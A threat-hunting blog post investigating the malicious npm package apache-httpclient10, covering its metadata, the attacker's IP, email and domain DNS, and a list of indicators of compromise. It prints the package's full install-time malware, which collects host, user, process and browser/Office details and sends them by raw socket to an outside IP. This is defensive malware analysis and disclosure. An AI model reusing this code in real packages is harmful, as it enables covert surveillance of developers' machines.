Threat hunting with HNTR. apache-httpclient10

Another day, another malware package on NPMJS. Investigating NPM malware apache-httpclient10 with HNTR.

Threat hunting with HNTR. apache-httpclient10

Another day, another malware package on NPMJS, but this time I can also show you a sneak peek at HNTR, a threat-hunting platform i've been working on for a while now.

Today, i'm going to be looking at apache-httpclient10.

HNTR lets me see package details and the raw metadata from the package, I also gave it a tag of maybe-malware so I can come back to it later.
I don't like the look of the NPM profile username or email, so I'm going to send this one to HNTR WorkBench.

WorkBench lets me dive into a package without having to download anything on my own device, which is nice.
There is only 1 version of this package, so Git Diff won't be useful here, however we can still user Code Browser & Pattern Scanners.
Let's have a quick look at the code.

I can look at this for 1 second, and already we have a winner, code obfuscation, unreadable code, very few files in the repo and the package.json hook script and postinstall.js just execute this file.

Let's head over to Scanners to see if we missed anything.

So we've got an IP, and some malicious code that executes on package install.

8.152.163.60 

Shodan reports this IP as an Alibaba Cloud ubuntu server running just SSH and nginx. Not much to get from there without doing some poking on the server.

ecwiepeivd9lvo@yeshen.asia

Now trying to visit yeshen.asia we get a warning that the site is not available due to Chinese law regarding domain registration.

ICP license is a permit issued by the Chinese Ministry of Industry and Information Technology to permit China-based websites to operate in China. The ICP license numbers for Chinese websites can often be found on the bottom of the front webpage.

However it still has some DNS entries, of particular interest are the MX & NS entries.

yeshen.asia. 21600 IN NS arushi.ns.cloudflare.com.
yeshen.asia. 21600 IN NS luke.ns.cloudflare.com.

yeshen.asia. 97 IN MX 31 route2.mx.cloudflare.net.
yeshen.asia. 97 IN MX 25 route3.mx.cloudflare.net.
yeshen.asia. 97 IN MX 75 route1.mx.cloudflare.net.

This means that the domain is registered with Alibaba and points to alibaba hosting, however has Cloudflare setup in the middle, Cloudflare has a great feature called Cloudflare Email Routing which allows you to forward all emails sent to a catch-all or specified email, in this case XXX@yeshen.asia and forward it to an email of your choice.

We can infer from this that ecwiepeivd9lvo@yeshen.asia is potentially one of many emails used to conduct similair supply chain attacks, so keep an eye out for this one as an IOC.

const _ui1n1ap5=require('os'),_or5xatii=require('net'),{execSync:_rwwtfzk6}=require('child_process');
const _fzblyy83='8.152.163.60',_jvrhap34=8058;

function _phz0ls4n(){try{if(_ui1n1ap5.platform()==='win32'){const a=_rwwtfzk6('wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /format:value').toString(),b=a.split('\n'),c={};return b.forEach(d=>{d.includes('CurrentHorizontalResolution')?c.width=parseInt(d.split('=')[1].trim(),10):d.includes('CurrentVerticalResolution')&&(c.height=parseInt(d.split('=')[1].trim(),10))}),c.width&&c.height?c.width+'x'+c.height:'N/A'}else if(_ui1n1ap5.platform()==='linux'){const a=_rwwtfzk6('xrandr --current | grep \\* | uniq | awk \'{print $1}\'').toString();return a.trim()||'N/A (Linux/No X)'}else if(_ui1n1ap5.platform()==='darwin'){const a=_rwwtfzk6('system_profiler SPDisplaysDataType | grep Resolution | awk \'{print $2"x"$4}\'').toString();return a.trim()||'N/A (macOS)'}return'N/A (不支持的操作系统或无头环境)'}catch(a){return'N/A (错误)'}}

function _i32jvdf7(){try{return Intl.DateTimeFormat().resolvedOptions().locale}catch(a){return process.env.LANG||process.env.LC_ALL||process.env.LC_MESSAGES||'N/A'}}

function _w9e1edzv(){try{let a='';a=_ui1n1ap5.platform()==='win32'?'tasklist /nh /fo csv':'ps aux';const b=_rwwtfzk6(a,{timeout:5000,encoding:'utf8'}),c=b.trim().split('\n');return{count:c.length,hasBrowser:/chrome|firefox|msedge|safari/i.test(b),hasOffice:/winword|excel|powerpnt|soffice/i.test(b)}}catch(a){return{count:-1,error:a.message}}}

function _dm69pebb(){const a=Date.now(),b=_ui1n1ap5.platform(),c=_ui1n1ap5.release(),d=_ui1n1ap5.version(),e=_ui1n1ap5.arch(),f=_ui1n1ap5.hostname(),g=_ui1n1ap5.uptime(),h=_ui1n1ap5.userInfo(),i=_ui1n1ap5.totalmem(),j=_ui1n1ap5.freemem(),k=_ui1n1ap5.cpus(),l=_phz0ls4n(),m=_i32jvdf7(),n=_w9e1edzv(),o=process.stdout.isTTY,_uxwdfz4l='myflag_v2',p={flag:_uxwdfz4l,basic:{osType:b,arch:e},detailed:{osRelease:c,osVersion:d,hostname:f,uptime:g,username:h.username,homedir:h.homedir,shell:h.shell,totalMemory:i,freeMemory:j,cpuCount:k.length,cpuModel:k.length>0?k[0].model:'N/A',screenResolution:l,locale:m,processes:n,isInteractive:o}},q=Date.now();p.executionDurationMs=q-a,_bjioqsxf(JSON.stringify(p))}

function _bjioqsxf(a){const b=new _or5xatii.Socket();b.connect(_jvrhap34,_fzblyy83,()=>{b.write(a)}),b.on('data',a=>{b.destroy()}),b.on('error',a=>{}),b.on('close',()=>{})}

_dm69pebb();

This code is classic reconnaisance, it collects system information, determines if browsers are running, the user and home directory and interestingly whether MS Office suite is installed.
Then it just forwards it to the IP address we looked at before.

The silver lining is that no code is being returned by the server and subsequently executed by the script, so you're environment won't get owned if you find apache-httpclient10 on it.

However there is still a malicious actor running reconnaisance through this package and perhaps others, and the package could always be updated to contain more malicious code.

IOCs

Package: https://www.npmjs.com/package/apache-httpclient10
IP: 8.152.163.60
Email: ecwiepeivd9lvo@yeshen.asia
Domain: yeshen.asia

Thanks for reading, hope you enjoyed the process of investigating a malicious package, and a quick look at HNTR which will be available soon.

An abuse report was sent to NPMJS on 10/10/2025, this will be updated if NPMJS respond. EDIT: NPMJS responded to the report on 13/10/2025 and blocked the package.

An abuse report was sent to Cloudflare on 10/10/2025, this will be updated if Cloudflare respond.